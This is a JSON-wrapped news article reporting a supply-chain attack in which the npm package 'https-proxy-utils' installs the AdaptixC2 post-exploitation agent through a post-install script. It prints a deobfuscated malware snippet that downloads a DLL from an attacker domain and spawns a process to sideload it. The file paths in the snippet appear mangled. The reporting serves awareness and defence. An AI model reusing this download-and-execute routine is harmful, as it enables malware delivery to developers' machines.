{"id":7852,"date":"2025-10-22T10:00:29","date_gmt":"2025-10-22T10:00:29","guid":{"rendered":"https:\/\/serisec.com\/index.php\/2025\/10\/22\/threat-actors-leverage-npm-ecosystem-to-deliver-adaptixc2-post-exploitation-framework\/"},"modified":"2025-10-22T10:00:29","modified_gmt":"2025-10-22T10:00:29","slug":"threat-actors-leverage-npm-ecosystem-to-deliver-adaptixc2-post-exploitation-framework","status":"publish","type":"post","link":"https:\/\/serisec.com\/index.php\/2025\/10\/22\/threat-actors-leverage-npm-ecosystem-to-deliver-adaptixc2-post-exploitation-framework\/","title":{"rendered":"Threat Actors Leverage npm Ecosystem to Deliver AdaptixC2 Post-Exploitation Framework"},"content":{"rendered":"<p>    Threat Actors Leverage npm Ecosystem to Deliver AdaptixC2 Post-Exploitation Framework<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n    <!-- no image --><br \/>\n \t<BR><br \/>\n<BR><\/BR><\/p>\n<div>\n<p>The emergence of the AdaptixC2 post-exploitation framework in 2025 marked a significant milestone in the evolution of attacker toolsets targeting open-source supply chains.<\/p>\n<p>Positioning itself as a formidable alternative to established tools like Cobalt Strike, AdaptixC2 quickly attracted threat actors seeking agility and stealth in post-exploitation scenarios.<\/p>\n<p>This October, researchers uncovered its delivery through the npm package registry\u2014a supply chain attack targeting developers and organizations reliant on Node.js modules for critical infrastructure and application development.<\/p>\n<p>The incident revolved around a deceptive npm package named <code>https-proxy-utils<\/code>, which mimicked the functionality and naming conventions of widely used legitimate libraries such as <code>http-proxy-agent<\/code>.<\/p>\n<p>The threat actors cloned proxy-related features from popular modules, ensuring the malicious package appeared both useful and harmless.<\/p>\n<p>Upon installation, however, the package executed a post-install script designed to download and deploy the AdaptixC2 agent onto the victim\u2019s system, initiating a stealthy foothold for remote access and broader exploitation.<\/p>\n<p>Securelist researchers were the first to <a href=\"https:\/\/securelist.com\/adaptixc2-agent-found-in-an-npm-package\/117784\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">identify<\/a> and analyze the AdaptixC2 npm infection, noting both the technical sophistication of the attack and its alarming implications for open-source threat landscapes.<\/p>\n<p>As the npm ecosystem grows, attackers are increasingly exploiting its trust and wide reach. The discovery highlights the persistent risk posed by supply chain attacks, emphasizing the need for vigilant vetting and continuous <a href=\"https:\/\/cybersecuritynews.com\/enterprise-security-monitoring-tools\/\" target=\"_blank\" rel=\"noreferrer noopener\">monitoring<\/a> of open-source components.<\/p>\n<h2 class=\"wp-block-heading\" id=\"h-infection-mechanism-os-specific-adaptation\"><strong>Infection Mechanism: OS-Specific Adaptation<\/strong><\/h2>\n<p>A standout feature of the AdaptixC2 npm <a href=\"https:\/\/cybersecuritynews.com\/new-russian-disinformation-campaign\/\" target=\"_blank\" rel=\"noreferrer noopener\">campaign<\/a> is its tailored infection strategy for multiple operating systems. Once the malicious package executes, it detects the host OS and deploys the payload using methods designed for Windows, macOS, or Linux.<\/p>\n<p>For Windows, the code sideloads the agent as a <a href=\"https:\/\/cybersecuritynews.com\/hackers-employ-dll-side-loading\/\" target=\"_blank\" rel=\"noreferrer noopener\">DLL<\/a> alongside a legitimate executable, using JavaScript scripting to spawn the compromised process.<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large\"><img data-recalc-dims=\"1\" decoding=\"async\" src=\"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEjqgG9uhCh4_wtLZEzQvVPNu70BP9nx68D8Ohwbw7jgufDzrv-f_BJxj0WUlWXmGHuMdOASkPqheq8Eb-I1i6i7JAblhQhq1LAN5pF7vhO0CIo9hJVPc3Vod8HPwmZ7qwiL0fWK-1HtIQqUDaCrL-TGicD1i2gi2gjjUvsSX10iIngHMghYN4i4jVTRtGw\/s16000\/Metadata%2520for%2520the%2520malicious%2520%28left%29%2520and%2520legitimate%2520%28right%29%2520packages%2520%28Source%2520-%2520Securelist%29.webp?ssl=1\" alt=\"\"><figcaption class=\"wp-element-caption\">Metadata for the malicious (left) and legitimate (right) packages (Source \u2013 Securelist)<\/figcaption><\/figure>\n<\/div>\n<p>Below is a deobfuscated snippet employed for Windows deployment:-<\/p>\n<pre class=\"wp-block-code\"><code>async function onWindows() {\n  const url = 'https:\/\/cloudcenter.topsysupdate';\n  const dllPath = 'C:\\.dll';\n  const systemMsdtc = 'C:\\32.exe';\n  const tasksMsdtc = 'C:\\.exe';\n  try {\n    await downloadFile(url, dllPath);\n    fs.copyFileSync(systemMsdtc, tasksMsdtc);\n    const child = spawn(tasksMsdtc, [], { detached: true, stdio: 'ignore' });\n    child.unref();\n  } catch (err) {\n    console.error(err);\n  }\n}<\/code><\/pre>\n<p>This flexible approach extends across macOS and Linux systems, employing autorun configuration and architecture-specific binary delivery to ensure persistent control.<\/p>\n<p>Such OS-targeted infection routines deepen the framework\u2019s ability to evade conventional detection, broadening its scope for exploitation across diverse environments.<\/p>\n<p class=\"has-text-align-center has-background\" style=\"background:linear-gradient(180deg,rgb(238,238,238) 91%,rgb(169,184,195) 100%)\"><strong>Follow us on\u00a0<a href=\"https:\/\/news.google.com\/publications\/CAAqMggKIixDQklTR3dnTWFoY0tGV041WW1WeWMyVmpkWEpwZEhsdVpYZHpMbU52YlNnQVAB?hl=en-IN&amp;gl=IN&amp;ceid=IN:en\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google News<\/a>,\u00a0<a href=\"https:\/\/www.linkedin.com\/company\/cybersecurity-news\/\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">LinkedIn<\/a>,\u00a0and\u00a0<a href=\"https:\/\/x.com\/cyber_press_org\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">X<\/a>\u00a0to Get More Instant Updates<\/strong>,\u00a0<strong>Set CSN as a Preferred Source in\u00a0<a href=\"https:\/\/www.google.com\/preferences\/source?q=cybersecuritynews.com\" target=\"_blank\" rel=\"noreferrer noopener nofollow\">Google<\/a>.<\/strong><\/p>\n<p>The post <a href=\"https:\/\/cybersecuritynews.com\/threat-actors-leverage-npm-ecosystem\/\">Threat Actors Leverage npm Ecosystem to Deliver AdaptixC2 Post-Exploitation Framework<\/a> appeared first on <a href=\"https:\/\/cybersecuritynews.com\/\">Cyber Security News<\/a>.<\/p>\n<\/div>\n<p> \t<BR><br \/>\n <BR><\/BR><br \/>\n    Tushar Subhra Dutta<br \/>\n \t<BR><br \/>\n<BR><\/BR><br \/>\n<a href=\"https:\/\/cybersecuritynews.com\/threat-actors-leverage-npm-ecosystem\/\">Go to cyber-security-news<\/a><br \/>\n \t<BR><br \/>\n <BR><\/BR><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Threat Actors Leverage npm Ecosystem to Deliver AdaptixC2 Post-Exploitation Framework The emergence of the AdaptixC2 post-exploitation framework in 2025 marked a significant milestone in the evolution of attacker toolsets targeting open-source supply chains. Positioning itself as a formidable alternative to established tools like Cobalt Strike, AdaptixC2 quickly attracted threat actors seeking agility and stealth in [&hellip;]<\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[129,63,649],"tags":[130],"class_list":["post-7852","post","type-post","status-publish","format-standard","hentry","category-cyber-security","category-cyber-security-news","category-threats","tag-cyber-security-news"],"_links":{"self":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7852"}],"collection":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/comments?post=7852"}],"version-history":[{"count":0,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/posts\/7852\/revisions"}],"wp:attachment":[{"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/media?parent=7852"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/categories?post=7852"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/serisec.com\/index.php\/wp-json\/wp\/v2\/tags?post=7852"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}